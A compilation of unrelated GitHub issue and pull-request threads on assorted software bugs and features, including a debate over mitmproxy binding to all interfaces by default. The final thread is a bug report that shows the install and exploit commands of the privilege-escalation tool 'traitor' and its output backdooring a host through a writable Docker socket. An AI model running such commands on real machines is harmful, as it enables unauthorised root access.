Round2: After playing 1 round, when starting round 2, the new decider is assigned a stakeholder role.

You can see that every player is able to open the rolecard and see a new role.

It SEEMS like this does not break anything from my one test in, but I'm not sure. Either way, this could cause confusion for players.

@jpailthorpe Is this resolved by hiding the role card button for the decider (we are doing this now)?

@johnny this is actually most likely related to why we couldn't play past round 1 today. When the decider from round 1 goes into round 2, they aren't able to see a role card button. The bottom bar component is not updated and therefore they don't know which role they are playing. So basically we just need to make sure these player role assignments are lined up with the component visibility.

Technically we could continue to play the game ie. It didn't stop us, but from a ux perspective it would not have made any sense

When this is QAed, if not resolved, please moe back to backlog and to the top of the queue. This is priority if not fixed!

verified this is fixed.


e2e:chore - test for horusec url api and headers flags

- What I did
Test for --horusec-url and --headers flags
- How to verify it
run make test-e2e
- Description for the changelog
N/A

Signed-off-by: lucas.bruno<EMAIL_ADDRESS>

Please, resolve the conflicts @lucasbrunozup


Link modules titles to view in explorer

Link titles such as transactions to the transactions screen on the public explorer for the same network.
e.g. https://explore.testnet-124.spacemesh.io/txs
Note: I'm going to list feature ideas I get from the team here for future dev iterations on this project.

Could you provide more info about link for each block
transactions it's clear:
Active Smeshers - smeshers page
Accounts - accounts page
Smeshing Rewards - rewards page
Circulation - ?
Security - ?
Also how it's look likes, we have to highlight the link - underline, hover effect ?

No display changes - just underline on hover.
The actual URLs need to be obtained from the deployment configuration (see spec for deploying dash and explore for network shared).
Security should link to the Activations page.
No link for circulation for now.

just for clarify - Security should link to the Activations page - we don't have page for all activations, we have only for each smesher

You are right. Ignore for now.

Done

Verified.


Incorrect EXTRA_ARGS in samples/subsys/tracing/sample.yaml

Describe the bug
Extremely trivial. EXTRA_ARGS section has CONF_FILE parameters defined with quotes which causes build failure.
e.g.
 extra_args: CONF_FILE="prj_user.conf"

Please also mention any information which could help others to understand
the problem you're facing:

What target platform are you using?
Linux.
What have you tried to diagnose or workaround this issue?
Yes, removed the quotes and voila.

-    extra_args: CONF_FILE="prj_user.conf"
+    extra_args: CONF_FILE=prj_user.conf

Is this a regression? If yes, have you been able to "git bisect" it to a
specific commit?
Not really a regression, because there seems to be multiple EXTRA_ARGS that use quotes from multiple authors, so somehow this makes me think that I'm doing something wrong. So please let me know...

To Reproduce
Steps to reproduce the behavior:
 west build -p -b qemu_riscv32 -T samples/subsys/tracing/sample.tracing.user
Expected behavior
Successful configuration.
Impact
Technically a "showstopper" but really an annoyance because it's trivial at worst.
Logs and console output
-- Including generated dts.cmake file: /home/asayin/zephyr_sdks/microblaze_devel/zephyr/build/zephyr/dts.cmake
CMake Error at /home/asayin/zephyr_sdks/microblaze_devel/zephyr/cmake/modules/kconfig.cmake:275 (message):
  File not found:
  /home/asayin/zephyr_sdks/microblaze_devel/zephyr/samples/subsys/tracing/"prj_user.conf"
Call Stack (most recent call first):
  /home/asayin/zephyr_sdks/microblaze_devel/zephyr/cmake/modules/zephyr_default.cmake:115 (include)
  /home/asayin/zephyr_sdks/microblaze_devel/zephyr/share/zephyr-package/cmake/ZephyrConfig.cmake:66 (include)
  /home/asayin/zephyr_sdks/microblaze_devel/zephyr/share/zephyr-package/cmake/ZephyrConfig.cmake:92 (include_boilerplate)
  CMakeLists.txt:9 (find_package)

-- Configuring incomplete, errors occurred!
FATAL ERROR: command exited with status 1: /home/asayin/zephyr_sdks/microblaze_devel/cmake/bin/cmake -DWEST_PYTHON=/home/asayin/zephyr_sdks/microblaze_devel/python/bin/python3.8 -B/home/asayin/zephyr_sdks/microblaze_devel/zephyr/build -GNinja -DBOARD=qemu_riscv32 '-DCONF_FILE="prj_user.conf"' -S/home/asayin/zephyr_sdks/microblaze_devel/zephyr/samples/subsys/tracing

Environment (please complete the following information):
Linux, SDK 0.16.1
Additional context
Somewhat relates to #60295

This doesn't look right, @PerMac any clue what's going on, since quotes are needed when testing elsewhere e.g. https://github.com/zephyrproject-rtos/zephyr/pull/59747 ?

I believe it is an issue with west_commands for -T where it tries to load twister's configs from yaml. Calling this test through twister passes and has CONFIG_TRACING_USER=y in its .config.

I can look at it further after the weekend


Add a --classic flag

This flag should override all the other flag and make the output similar to the classic ls command
It would be useful for the people like me which set the --color=always into the flags but sometime need the "classic" output in order to work with pipes.
Example
ls --color=always --classic | xargs rm # should work

--classic may not needed explicitly to users.
When lsd is found being redirected into pipes, it should make itself remove colors, hide icons, etc. (just like classic ls do with --color=auto).
But an extra --no-icons would be nice to have.
To have an --classic may not be good - since how do you make lsd show icons but not colors, or show colors but not icons?

Just for curiosity, in what situation you need always, while auto doesn't do the job?

The --no-icons is already planned with the same logic than --color (#69) and it can solve many most of the your usecases.
Based on my experience I think the --classic could useful because most of the time when I pipe ls I use less behind for the pagination (ls --tree | less for example). With the default --color (and soon the default --icon) flag value to auto I loose the colors (and soon icons) so in order to solve this my alias looks like  alias ls='lsd --color=always --icon=always and my less output is pretty again.
This solution works fine with most of my daily needs but sometimes I want to use the ls output for other stuff than less. In those few cases I am currently blocked due to my alias. It's in this case that the --classic can help. By explicitly use this flag (ls --classic | xargs rm) I override all my configurations set into my alias and remove all the icons and the colors and xargs is happy again.


⚠ Bofrost.be has degraded performance

In 7e1248b, Bofrost.be (https://www.bofrost.be) experienced degraded performance:

HTTP code: 200
Response time: 1399 ms

Resolved: Bofrost.be performance has improved in d427990 after 1 hour, 27 minutes.


ReadBytesWithSingleRequest cannot read >491 Bytes on S7-1500

Addressed issue #145.
Tested against PLC types:

[ ] S7-200
[x] S7-300
[ ] S7-400
[ ] S7-1200
[x] S7-1500
[x] Snap7
[x] PlcSim

@mycroes Can you please test against live S7 1200?
Forgot about S7-200, anyone using it?

I'm not sure when I will have time to test with the S7-1200, so I might merge this without testing.


Updated: notable 1.7.3

Newer version of notable (1.8.0) is now available in master. a6cc30cd014ed69a049066c2c2bf53e02248b15f


Consider binding to localhost by default

I think users might be surprised if their box starts running an open proxy by nature of running mitmproxy. I propose changing the default to act like mitmproxy -b <IP_ADDRESS> instead.

I generally welcome this proposal, but unfortunately this would break transparent mode by default, without providing any useful error message out of the box.
I see three options:

When -T is specified, we bind to <IP_ADDRESS> by default. This would probably cater for 95% of the cases, but it's a bit inconsistent.
Actually bind to <IP_ADDRESS> and enforce the client IP in mitmproxy. This way we could display an error message in mitmproxy. I don't really like this approach though.
Decide to keep everything as-is. A lot of services are listening on <IP_ADDRESS> by default. We may want to explore displaying client ips != localhost more prominently in the UI.

Sorry, I now realize this was the conversation going on in Slack, I didn't pick up on the context properly.
I was just about to say "maybe it could make it obvious it's listening on all devices" and then I realized that it doesn't just say the port in the bottom-right, it actually says "*:9000" or in my case now "<IP_ADDRESS>:9000", so I ought to have put it together sooner. (Normally this wouldn't have been an issue thanks to external firewalls, but I just happened to have mitmproxy listening on a port that I also use to do testing with various things that I actually need to be able to hit from outside from time to time.)
I don't really like option #2 just from a cleanliness/separation-of-concerns standpoint either and I appreciate the consistency concern in #1.
#3 might help... At least if I'd known those requests came from off box I wouldn't have had the minor panic at seeing unknown traffic (that I thought was originating on box). But it may not be worth the effort to implement or design a new indicator.
Given all this, I guess feel free to close it unless you think option #3 is worth pursuing, and even then it might make sense as a new issue. Thanks for the time and response.

I'm usually all-for conservative approaches when it comes to security, but in this case I think it is reasonable that, in deliberately starting a known proxy-server including the word proxy in its binary name, you should be willing to accept that by-default this will install an open-proxy server.  Hopefully it is sufficient that there is already a mechanism to restrict the address/adapter binding if desired.
My 2c worth.

Agreed. I'm going to close this. Thanks for the thoughts @javabrett and @mhils .

Soon after I have started mitmproxy I found it connected by differrent external ip addresses. I want to tell you that mitmproxy is just a free open source replacement for fiddler and fiddler by default disallows remote connection. Why the f*ck do you do in other way? Are you somehow related to the ones who scan the networks for open mitmproxies? I know that they targeted mitmproxies because it seems they have disabled tls cert checks.

I will ignore the im- and explicit insults and just tell you for the record that we do not scan networks for open proxies or gain any other personal benefit out of the bind-all behavior. As you may have seen, some users have already voiced their opinion that they favor the current implementation. If you feel strongly against this, please open a PR that e.g. uses the "clientconnect" hook to immediately close external connections as a proposal. You are welcome to contribute to the discussion in a civil way or remain silent.
Thanks,
Max

we do not scan networks for open proxies or gain any other personal benefit out of the bind-all behavior.

I have asked not wheter or not you scan, but are some of the repo policymakers related somehow to people doing such things (including emploees of Shodan-like companies).

If you feel strongly against this, please open a PR that e.g. uses the "clientconnect" hook to immediately close external connections as a proposal. You are welcome to contribute to the discussion in a civil way or remain silent.

Thank you for the info. It will take some time (I'm not very familiar with the project source and I'm a bit busy for now). Does #2428 solve the problem?

I have asked not wheter or not you (or some repo policymakers) scan, but are some of the repo policymakers related somehow to people doing such things (including emploees of Shodan-like companies) because the defaults encourage such kind of activity.

Again, we are not. Using mitmproxy with external devices is a common use case, so we listen on all interfaces by default. We are really not alonw with this - the same behavior is exhibited by Burp, Squid, Apache, and others. The fact that we do this is permanently displayed at the bottom right just after startup. I understand you concern that this is surprising to some users, yet changing the behaviour without compromising core use cases is difficult.

Does #2428 solve the problem with allowing remote connections?

As discussed above, this is not a suitable fix.
Given that you do not seem to be very pleased with mitmproxy overall, you may want to explore alternatives.

Using mitmproxy with external devices is a common use case

I know. But it doesn't mean that this should be enabled by default.

We are really not alonw with this - the same behavior is exhibited by Burp, Squid, Apache, and others.

Maybe. But it shouldn't.

The fact that we do this is permanently displayed at the bottom right just after startup.

do you mean that little blue icon with port on it?

I understand you concern that this is surprising to some users, yet changing the behaviour without compromising core use cases is difficult.

Again: mitmproxy starts accepting remote connections by default. Most of people who came for "free open source Fiddler" don't expect this. Some malicious people exploit that fact. That transforms that feature into a vurnerability.

As discussed above, this is not a suitable fix.

Sometimes the changes breaking compatibility have to be done. Fixing vulnerability is the such case. I think it is more important to remove that vuln than preserve compatibility. It is just a one time fix for the people using mitmproxy, they will only need to remember this fact and fix their scripts and/or configs.
Also I think we need more mitigations.
1 By default restrict the subset of addresses which can connect to the proxy to local ones.  By the local ones I mean in the same LAN (can it be checked by obtaining mac addr and comparing it to the switch's mac addr?).
2 Send the info about the original source of request to deter abuse.
3 When starting user interface if remote connections are allowed and no has been authentication set up before actually launching proxy make the user to confirm (in a big red window) that he understand that his proxy may be discovered and abused within seconds because remote connections are allowed.

I could be convinced to accept a PR that adds a mitmproxy addon which does the following:

On clientconnect, check if any of these is true:

the source IP is from the same local subnet (IPv6)/private IP space (IPv4)
the user has disabled the addon (there needs to be an option)
proxy authentication is enabled

If so, unconditionally accept the request.
If not, close the connection. Display a warning message in mitmproxy with concrete instructions to disable this measure . Send the same message to the client as well.

I'd be open to accept such a change, but if @Kriechi or @cortesi think that the current behaviour should stay, I'm not going to fight it. As I said before, I think the current behaviour is okay and the fact that we're far from the only ones doing this seems to confirm this.


Ability to tee logs across logging drivers

Hey,
There should be the ability to tee logs between multiple logging drivers. This would also have the nice benefit that docker logs could work even with a logging driver specified.
Thanks,
Alex

This is a dup of #17910


Feature idea: TV-like portals

Portals that render their other side from a fixed perspective
Useful for creating TV screens etc.

Should be in another mod


Make blog UUID usable

Simple fix for https://github.com/tumblr/pytumblr/issues/124

Not sure if you're still developing this API, the CLA herokuapp is offline.

On another note, I noticed that both
/v2/blog/cyremur/posts
and
/v2/blog/cyremur.tumblr.com/posts
appear to return the same results, so maybe the better solution is to remove the add_dot_tumblr decorator all together.


Keyword recognition session not starting

When I start a keyword recognition session, basically nothing happens. Even the session started event is not fired. Other recognitions work fine (e.g. continuous recognition).
Steps to reproduce the behavior:
Run this sample (the keyword recognition part).
Expected behavior
The keyword recognition session started event is fired, and the recognition starts and works. However, apparently nothing happens: no event is fired, no exception is thrown, and nothing gets recognized.
Version
I tried with 1.11.0 from NuGet at first, but tried basically all older versions as well, with no change in behavior.
Platform, Operating System, and Programming Language

OS: Windows 10 x64 1909
Programming language: C#. I have tried the .NET (Standard) and .NET Core versions, but the result was the same. I have also tried the Android sample on my phone (OnePlus 7 Pro GM1913), but the results were still the same: keyword recognition does not start, other recognition methods work.

Additional context

I have tried debugging the .NET code but the problem appears to be in the unmanaged internal DLL.
I have tried the keyword recognition with different table files, but the result did not change. I have also tried giving a random other file instead to the model, and I got an exception about the unsupported format, which is expected.
I have tried setting an invalid subscription key to the SpeechConfig, but got no exception. With other recognition methods, I get an exception in this case, so the code does not appear to reach the point where it makes any API requests or validates the subscription key with another method.

Thanks for the feedback, I checked the sample with kws.table model file which you can found from https://github.com/Azure-Samples/cognitive-services-speech-sdk/tree/master/samples/csharp/xamarin/kws-xamarin/kws-xamarin/kws-xamarin.UWP/Assets
The keyword is "Computer"
Sample worked ok with 1.11.0 latest release.
Could you try with that model and let us know do you see still issues ?

@mihalybalas I am closing this, please let us know if the previous answer did not help.


Added dialog directives

I have added the dialog directives

Delegate Directive
ElicitSlot Directive
ConfirmSlot Directive
ConfirmIntent Directive

As documented here https://developer.amazon.com/docs/custom-skills/dialog-interface-reference.html

Awesome, thanks! New version will be on NPM in a few minutes.


Set the panel flag as focused when activate() is called

Identify the Bug
Programmatically calling pane.activate() does not currently update its isFocused() state.
This PR fixes https://github.com/atom/atom/issues/18913
Description of the Change
This PR changes the logic to set the focused flag on the activate() method instead of the focus() method. Since focus() always calls activate() this should not affect that method.
Alternate Designs
N/A
Possible Drawbacks
🤷♂
Verification Process
Open Atom and execute the following from the developer console:
const assert = require('assert')
const pane = atom.workspace.paneForURI('atom://config')
assert.ok(!pane.isFocused())
pane.activate()
assert.ok(pane.isFocused())

Release Notes
Fixed pane.activate() to update the panel isFocused() state.

Nice, simple change.


html2canvas not rendering external images in npm version 1.0.0-alpha.11

Hi,
We are using npm html2canvas to convert html to pdf. PDF is not rendering external image.
My code :
html2canvas(document.getElementById('chartView'), {useCORS : true,logging:true }).then(function(canvas) {
var img = canvas.toDataURL("image/png");
var doc = new jsPDF();
doc.addImage(img,'JPEG',0,0);
doc.save('test.pdf');
Any suggestion please

Hi Team,
Need immediate assistance that html2canvas is not working in angular 2 production external environment .  the same logic works in local & uat.
Application itself not rendering . If i remove html2canvas atleast application is working but pdf  functionality not working.
Logic which i did 👍
Code 👍 html2pdf(element, {
margin:       1,
filename:     vzeid+'.pdf',
image:        { type: 'jpeg', quality: 0.98 },
html2canvas:  { dpi: 192, letterRendering: true,width: element.clientWidth+400, height:element.clientHeight+100 },
jsPDF:        { unit: 'pt', format: [element.clientWidth, element.clientHeight], orientation: 'p'}
});
}

Thanks in advance !!!!


Support for react 17

I am currently working on a project and encountered the following error:
npm install --save react-gcolor-picker

npm ERR! code ERESOLVE
npm ERR! ERESOLVE unable to resolve dependency tree
npm ERR!
npm ERR! While resolving<EMAIL_ADDRESS>npm ERR! Found<EMAIL_ADDRESS>npm ERR! node_modules/react
npm ERR<EMAIL_ADDRESS>from the root project
npm ERR!
npm ERR! Could not resolve dependency:
npm ERR! peer<EMAIL_ADDRESS>from<EMAIL_ADDRESS>npm ERR! node_modules/react-gcolor-picker
npm ERR!   react-gcolor-picker@"*" from the root project
npm ERR!
npm ERR! Fix the upstream dependency conflict, or retry
npm ERR! this command with --force, or --legacy-peer-deps
npm ERR! to accept an incorrect (and potentially broken) dependency resolution.
npm ERR!
npm ERR! See /Users/sean/.npm/eresolve-report.txt for a full report.

npm ERR!      /Users/sean/.npm/_logs/2022-01-10T17_17_11_020Z-debug.log

I was wondering if there are plans to add support for React 17?
Really great work on the plugin, looks amazing and love all the flexibility.

@sbahr001 Fix Release 1.2.3


adds derived clone method for error struct

Signed-off-by: Sean Bruton<EMAIL_ADDRESS>

Thanks for your pull request.


Visual effects bugged and amplified after recent updates

With SimpleLunarCoins installed, visual effects are greatly amplified in the game.  They create blinding flashes, and often trigger large effects that make gameplay very difficult.  The effects seems a little random, as sometimes they would create large golden beams (that persisted), and other times would produce large rings (which faded away).  These often coincided with a flash bang to the screen, making everything temporarily white.
Many attacks would result in these distortions, including from other players and even enemies.  Two common triggers were Rex's secondary, and lemurian fireballs hitting walls.  It was very clear in regular gameplay however, and didn't require any specific setup.
The bug appears to be hardware-dependant.  It didn't happen on one testing PC, but did occur on another.  The graphics card drivers were fully updated.  The affected PC has these components:
GPU: Nvidia Geforce GTX 1050 Ti
CPU: Intel Core i7-4790

One important condition is that this bug only occurs in multiplayer as a client.  It does not occur as the host of a session, nor in singleplayer.  Someone else must host the game.
In testing previous versions, this behaviour appeared to be introduced in SimpleLunarCoins v1.2.2.  Earlier versions did not exhibit this behaviour.
These tests were run with just SimpleLunarCoins + dependencies installed.  The dependencies by themselves do not trigger this bug.
This data was collected across many runs of the game, system reboots, and after running Steam's game integrity verification.
Screenshots:

hey, thanks for reporting! versions before 1.2.2 shouldn't work properly with the latest patch of the game, which would likely explain why the issue doesn't occur, as certain parts of the mod will fail to load. with that in mind, I can narrow it down to a single method- but the only time it can create an effect is when a lunar coin is dropped while the "no coin droplets" setting is true, and you have it set to false if I'm not mistaken?
I'm led to believe there's another factor at play which I may not be qualified enough to offer guidance on, but just in case, would you be able to attach the log file from after a session in which the issue occurs? thanks 🙂

Thanks for the swift response.  You're right that the setting "No Coin Droplets" was set to false.  However I've now tested it both ways, and the bug is present in both configurations.
Here is a copy of the output log.
LogOutput.log
The only line that jumps out to me is that it cannot load the field "InitialCoinChance" (which is set to 4).  This line doesn't occur on the stable PC.  I've included the configuration file as well.
Miyowi.SimpleLunarCoins.cfg
Note that the r2modman profile was copied via code, so all settings should match.

Thanks for the information.  That sounds like a promising lead.  I'll check into that and get back to you.
Unfortunately as the weekend is over, it'll probably be a few days before I'm able to arrange for the multiplayer testing, but I'll do so as soon as is feasible.  Cheers.

I was able to find a moment to test tonight.  Great suggestion - you were right!
The MMHOOK folder was not present on the affected PC.  After uninstalling the mod, then reinstalling directly, the folder and DLL were created after launching the game again.  And indeed this fixed the problem with chaotic visual effects.  As a plus, it also fixed some issues with other mods, such as PizzaClientLagFix freezing the game at 99% loading.
So, I wonder if this is because the profile was installed via code, and not directly.  Possibly it's not unpacking the necessary files to set up the dependencies.
I've noticed some others reporting the 99% loading bug with other mods in the RoR2 modding Discord too, and I wonder if this is a common problem that simply hasn't been recognized yet.  It might be something the core API devs need to look at.
Either way I'll close this now, both because it's resolved and because it's technically unrelated to SimpleLunarCoins.  Thanks very much for your help in debugging and tracking down the problem though.

Just wanted to mention that the latest version of HookGenPatcher resolves this issue more permanently.  Apparently the configured filename would indeed be reset to default when importing via code, which led to all sorts of strange issues like the one above.
https://github.com/risk-of-thunder/Bepinex.Monomod.HookGenPatcher/commit/80e55e95c680dc2507047c67c5955c8b1147db89


Project requirements

What are the hardware requirements to run this project? Will GTX 1070 be ok, or I'have to have Titan Xp in order to run it?

What is the version of GTA V are you guys using? Would ant current version work, since screen grabbing done outside the environment.?

i m using gt 940mx works fine after training but while training its hard drop frame a lot gets lagy is it because  of gpu or cpu i have i5 7200u laptop with 8gb ddr4 ram 2100


Added heroes reducer

Let me know if something doesn't check out.

@ericebersohl Nice, code looks good. However, it occurred to me that our state shape would make more sense if byId wasn't nested.
So currently we are doing this:
{
  "game": {
    "players": [],
    "activePlayer": 0,
    "currentSequenceId": 0
  },
  "players": {
    "byId": {}
  },
  "heroes": {
    "byId": {}
  }
}

but i think this would make more sense:
{
  "game": {
    "players": [],
    "activePlayer": 0,
    "currentSequenceId": 0
  },
  "playersById": {},
  "heroesById": {}
}

Can you update your PR to match the above for heroes?
Also note that in JS:
const rootReducer = combineReducers({
  game,
  players,
  heroes,
});

is just short-hand syntax for:
const rootReducer = combineReducers({
  game: game,
  players: players,
  heroes: heroes,
});

So to change the name of the heroes property you would do:
const rootReducer = combineReducers({
  game,
  players,
  heroesById: heroes,
});


Don't collapse sections automatically on small screen sizes

Splitting the screen vertically will collapse all section headlines, would be easier to use if it didn't.

This collapsing is ment for mobile phone use, so it should be easier to navigate there. But ye, I see your issue:


[BACKLOG-38412] Added Chineese

:x: Build failed in 1h 16m 43s
Build command:
mvn clean verify -B -e -Daudit -amd -pl \
plugins,plugins/core/impl,plugins/core/ui,plugins/drools/core,plugins/dummy/core,plugins/google-analytics/core,plugins/gpload/core,plugins/hl7/core,plugins/json/core,plugins/ms-access/impl,plugins/ms-access/ui,plugins/pur/core,plugins/s3csvinput/core,plugins/salesforce/core,plugins/sap/core,plugins/shapefilereader/core,plugins/version-checker/core,plugins/xml/core

:ok_hand: All tests passed!
Tests run: 5315, Failures: 0, Skipped: 14    Test Results

Errors:
Filtered log (click to expand)

script returned exit code 1

:information_source:  This is an automatic message

wingman failure does not appear to be related


Unexpected removal of space after a comment

Repro steps
java  -cp /ssd/ssd5/androidx-main/prebuilts/androidx/external/com/facebook/ktfmt/0.44/ktfmt-0.44.jar:..all.jars com.facebook.ktfmt.cli.Main --kotlinlang-style Foo.kt

Try to format the following file:

package com.tools.android

class Foo() {
    fun callMe() {
        onDispose { /* do nothing */ }
    }
}

Expected
No changes
Actual
The space after the /* */ comment is removed resulting in
        onDispose { /* do nothing */}

without any space before }

hey @hick209  I noticed this issue is still open, is it still available and can I work on it ??

Sorry the late response @EmmanuelDav, I was out on leave since September (new son).
Looks like @fredyw has already worked on this issue though on https://github.com/facebook/ktfmt/pull/426, but thank you so much for offering 😃
Next time you can feel free to just get started on the issue and submit a PR as we could always start the discussion from there


Thanks for exploring the idea 😄


(feature) Generics for FluentSelect, FluentListbox and FluentCombobox

Pull Request
📖 Description
Make FluentSelect, FluentListbox and FluentCombobox generic. Also added functionality to make them work with a (generic) Option list
You can now do:

From list of string items

<FluentSelect Items=@options  />

From list of int items

<FluentSelect Items=@options2 />

@code{
     List<Option<string>> options = new()
    {
            { new Option<string> { Key = "1", Value = "One" }},
            { new Option<string> { Key = "2", Value = "Two", Selected = true }},
            { new Option<string> { Key = "3", Value = "Three" }}

    };

    List<Option<int>> options2 = new()
    {
            { new Option<int> { Key = 1, Value = 1, Disabled = true }},
            { new Option<int> { Key = 2, Value = 2 }},
            { new Option<int> { Key = 3, Value = 3 }}

    };
}

🎫 Issues
If you manually supply the options, you now need to explicitly cast a value as a string (@("..."))
<FluentSelect Appearance="Appearance.Filled" @bind-Value="@selectValue">
    <FluentOption>This option has no value</FluentOption>
    <FluentOption Disabled="true">This option is disabled</FluentOption>
    <FluentOption Value="@("hi")">This option has a value</FluentOption>
    <FluentOption Selected="true">This option is selected by default</FluentOption>
</FluentSelect>

👩💻 Reviewer Notes
📑 Test Plan
✅ Checklist
General

[X] I have added tests for my changes.
[X] I have tested my changes.
[ ] I have updated the project documentation to reflect my changes.
[X] I have read the CONTRIBUTING documentation and followed the standards for this project.

Component-specific

[ ] I have added a new component
[X] I have modified an existing component

⏭ Next Steps
If we want to change it to work like this, all the sample pages and the componentbindings page need to be reworked (not hard)

@vnbaaij would this be for the .NET 6.0 release or for a future release?

Future release. I would like to have Javier or someone else take a look at it first

I'm feeling uncomfortable about bringing this in at the last minute. Let's get more feedback and consider this for a future release.

Hi @vnbaaij, What's the status on this PR? Still a work in progress?  We're doing a publish soon so would be great to get some of these PRs merged.  Cheers,

Hi @vnbaaij, What's the status on this PR? Still a work in progress? We're doing a publish soon so would be great to get some of these PRs merged. Cheers,

As far as I'm concerned this is good to go!


Multi-stage docker build to allow building docker from Mac and Windows hosts

Codecov Report

Merging #185 (e0c9402) into master (3cacf91) will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##           master     #185   +/-   ##
=======================================
  Coverage   79.07%   79.07%
=======================================
  Files          19       19
  Lines        1443     1443
=======================================
  Hits         1141     1141
  Misses        174      174
  Partials      128      128

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 3cacf91...e0c9402. Read the comment docs.

Codecov Report

Merging #185 (e0c9402) into master (3cacf91) will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##           master     #185   +/-   ##
=======================================
  Coverage   79.07%   79.07%
=======================================
  Files          19       19
  Lines        1443     1443
=======================================
  Hits         1141     1141
  Misses        174      174
  Partials      128      128

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 3cacf91...e0c9402. Read the comment docs.


Re 1996

This PR does the following:

To make testing the same way as the gate simpler outside of the gate, we implement a common vars script which is sourced by the pre/run/post stages, ensuring that all vars required for each stage are available.

Currently the tox tests are executed via multiple layers of scripts. This patch flattens it into the gating/check/run script to make following the code simpler.

We move the pre-installation of distro and python packages to the 'pre' stage to improve the chances of success, given that the 'pre' script is run three times before failing.

Currently the AIO deploy tests are executed via multiple layers of scripts. This patch flattens it into the gating/check/run script to make following the code simpler.

We move the MNAIO tempest run into run_deploy_mnaio.sh to reduce complexity and make the code easier to follow.

We cut down on duplicated var output between the 'prep' and 'run' stages.

Does all the MNAIO host preparation in the 'pre' stage of the gating pipeline. This stage is tried three times before failing, improving the chances of success. The actions done in this stage all relate to the VM preparation, and have nothing to do with deploying RPC-O.

Implements a check to verify whether there is an MNAIO image manifest available for this configuration. If so, it sets the preparation stage to download the images and use those to start the VM's.

If no images are available, or if this is a 'deploy' test, then build the VM's as usual.

Switches the 'system' tests to use the images if they are available.

Issue: RE-1996
Issue: RE-1562

Thank you for submitting a pull request to this project!
Once all check jobs have passed and the pull request has received a
sufficient number of reviews, the repository's gate jobs can be triggered by
adding a comment of :shipit: to this pull request.
When the gate jobs have completed successfully, this pull request will get
merged automatically.


[Dialogflow] Authenticate with API Key

Hello,
I want to use dialogflow api within my project (for Gen App chat bot).
But the authentication seems weird.
My server is hosted in Azure and most of third parties I use connect with API Token or API Key.
Here with dialogflow I can't find any documentation mentioning it.
I don't want to authenticate with ADC, because it's complicated, unaesthetic, requires files from what I have understood so far. I just want to have a simple API key that I can provide to the client and then call my chatbot. Simple.
Here is the current code :
const sessionClient = new dialogflow.SessionsClient({
  projectId,
});

export async function getUserIntent(
  sessionId: string,
  query: string,
  contexts: any,
  languageCode: string = 'fr'
) {
  const sessionPath = sessionClient.projectAgentSessionPath(
    projectId,
    sessionId
  );

  const request = {
    session: sessionPath,
    queryInput: {
      text: {
        text: query,
        languageCode,
      },
    },
    queryParams: {},
  };

  if (contexts && contexts.length > 0) {
    request.queryParams = {
      contexts,
    };
  }

  const responses = await sessionClient.detectIntent(request);
  return responses[0];
}

But I have the following error :
Error: Could not load the default credentials. Browse to https://cloud.google.com/docs/authentication/getting-started for more information.
    at GoogleAuth.getApplicationDefaultAsync (C:\dev\repos\raskyer\la-plateforme\web\node_modules\google-auth-library\build\src\auth\googleauth.js:207:19)
    at processTicksAndRejections (node:internal/process/task_queues:95:5)
    at GoogleAuth.getClient (C:\dev\repos\raskyer\la-plateforme\web\node_modules\google-auth-library\build\src\auth\googleauth.js:624:17)
    at GrpcClient._getCredentials (C:\dev\repos\raskyer\la-plateforme\web\node_modules\google-gax\build\src\grpc.js:145:24)
    at GrpcClient.createStub (C:\dev\repos\raskyer\la-plateforme\web\node_modules\google-gax\build\src\grpc.js:308:23)

I have the exact same question, except in my case, I'm trying to use the new Google Maps Places API. Auth has gone from simply passing in a key to something I can no longer figure out how to do with a cloud provider like Azure. What a downgrade!


#21-change-flow-variable

Pull request details
Describe the changes made in this pull request
The v_flow variable is now defined from asset 'a' to asset 'aa' instead of as the flow of asset 'a'. This will allow to define multiple inputs and outputs for the same asset, giving more flexibility to the model. Consequently, the input data must also change to account for the information required to create the flow variables properly.
List of related issues or pull requests
Closes #21
Collaboration confirmation
As a contributor I confirm

[x] I read and followed the instructions in README.dev.md
[NA] The documentation is up to date with the changes introduced in this Pull Request (or NA)
[x] Tests are passing
[NA] Lint is passing

Codecov Report

:exclamation: No coverage uploaded for pull request base (main@f0a06e2). Click here to learn what that means.
Patch has no changes to coverable lines.

:exclamation: Your organization is not using the GitHub App Integration. As a result you may experience degraded service beginning May 15th. Please install the Github App Integration for your organization. Read more.
Additional details and impacted files
@@           Coverage Diff            @@
##             main       #24   +/-   ##
========================================
  Coverage        ?   100.00%
========================================
  Files           ?         1
  Lines           ?        52
  Branches        ?         0
========================================
  Hits            ?        52
  Misses          ?         0
  Partials        ?         0

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


Exploit failed: stat /bin/phNS9hpK_xJfOc: no such file or directory

Brandon-Ross-MacBook-Pro:Desktop bros$ CGO_ENABLED=0 go get -u github.com/liamg/traitor/cmd/traitor
Brandon-Ross-MacBook-Pro:Desktop bros$ traitor

 888                    d8b 888
 888                    Y8P 888
 888                        888
 888888 888d888 8888b.  888 888888 .d88b.  888d888
 888    888P"      "88b 888 888   d88""88b 888P"
 888    888    .d888888 888 888   888  888 888
 Y88b.  888    888  888 888 Y88b. Y88..88P 888
  "Y888 888    "Y888888 888  "Y888 "Y88P"  888
    v0.0.0 | https://github.com/liamg/traitor

[+] Assessing machine state...
[+] Checking for opportunities...
[+][docker:writable-socket] Docker socket at /var/run/docker.sock is writable!
[+][docker:writable-socket] System is vulnerable! Run again with '--exploit docker:writable-socket' to exploit it.
Brandon-Ross-MacBook-Pro:Desktop bros$ traitor --exploit docker:writable-socket

 888                    d8b 888
 888                    Y8P 888
 888                        888
 888888 888d888 8888b.  888 888888 .d88b.  888d888
 888    888P"      "88b 888 888   d88""88b 888P"
 888    888    .d888888 888 888   888  888 888
 Y88b.  888    888  888 888 Y88b. Y88..88P 888
  "Y888 888    "Y888888 888  "Y888 "Y88P"  888
    v0.0.0 | https://github.com/liamg/traitor

[+] Assessing machine state...
[+] Checking for opportunities...
[+][docker:writable-socket] Docker socket at /var/run/docker.sock is writable!
[+][docker:writable-socket] Opportunity found, trying to exploit it...
[+][docker:writable-socket] Building malicious docker image...
[+][docker:writable-socket] Creating evil container...
[+][docker:writable-socket] Starting evil container...
[+][docker:writable-socket] Backdooring host at /bin/phNS9hpK_xJfOc from guest...
[+][docker:writable-socket] Checking permissions...
